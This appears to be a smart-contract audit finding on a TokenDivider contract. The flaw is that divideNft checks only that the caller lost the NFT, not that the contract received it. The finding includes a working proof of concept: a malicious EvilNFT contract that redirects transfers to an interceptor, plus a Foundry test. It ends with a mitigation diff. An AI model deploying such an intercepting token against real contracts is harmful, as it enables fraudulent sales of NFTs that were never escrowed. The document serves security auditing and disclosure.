Description:
The function divideNft function only verifies that the caller is no longer the owner after the NFT transfer,
but it does not ensure that the NFT is actually transferred to the tokenDivider contract.
function divideNft(address nftContract, uint256 tokenId, uint256 amount) external {
...
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
@> if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }
...
}
Impact:
If a malicious NFT contract is passed in,
the NFT may not be transferred to the tokenDivider contract,
but still pass the divideNft function and become available for sale.
Proof of Concept:
add a WeirdERC721Mock contract in test/attacker/EvilNFT.sol
pragma solidity ^0.8.20;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract EvilNFT is ERC721, Ownable {
uint256 private _tokenIdCounter;
address public interceptor;
constructor() ERC721("EvilNFT", "EVL") Ownable(msg.sender) {}
function setInterceptor(address _interceptor) public onlyOwner {
interceptor = _interceptor;
}
function mint(address to) public onlyOwner {
_safeMint(to, _tokenIdCounter);
_tokenIdCounter++;
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override {
if(interceptor != address(0)) {
super.safeTransferFrom(from, interceptor, tokenId, data);
}else{
super.safeTransferFrom(from, to, tokenId, data);
}
}
}
then add the following in test/unit/TokenDividerTest.t.sol
address public HACKER = makeAddr("hacker");
address public HACKER2 = makeAddr("hacker2");
...
modifier setupEvilNFT(){
vm.startPrank(HACKER);
evilNFT = new EvilNFT();
evilNFT.setInterceptor(HACKER2);
evilNFT.mint(HACKER);
vm.stopPrank();
_;
}
...
function testEvilDivideNft() public setupEvilNFT {
assertEq(HACKER, evilNFT.ownerOf(TOKEN_ID));
vm.startPrank(HACKER);
evilNFT.approve(address(tokenDivider), TOKEN_ID);
tokenDivider.divideNft(address(evilNFT), TOKEN_ID, AMOUNT);
vm.stopPrank();
assertEq(evilNFT.ownerOf(TOKEN_ID), HACKER2);
}
and run the test forge test --mt testEvilDivideNft
Recommended Mitigation:
check if the NFT is owned by the tokenDivider contract
function divideNft(address nftContract, uint256 tokenId, uint256 amount) external {
...
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
- if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }
+ if(IERC721(nftAddress).ownerOf(tokenId) != address(this)) { revert TokenDivider__NftTransferFailed(); }
...
}
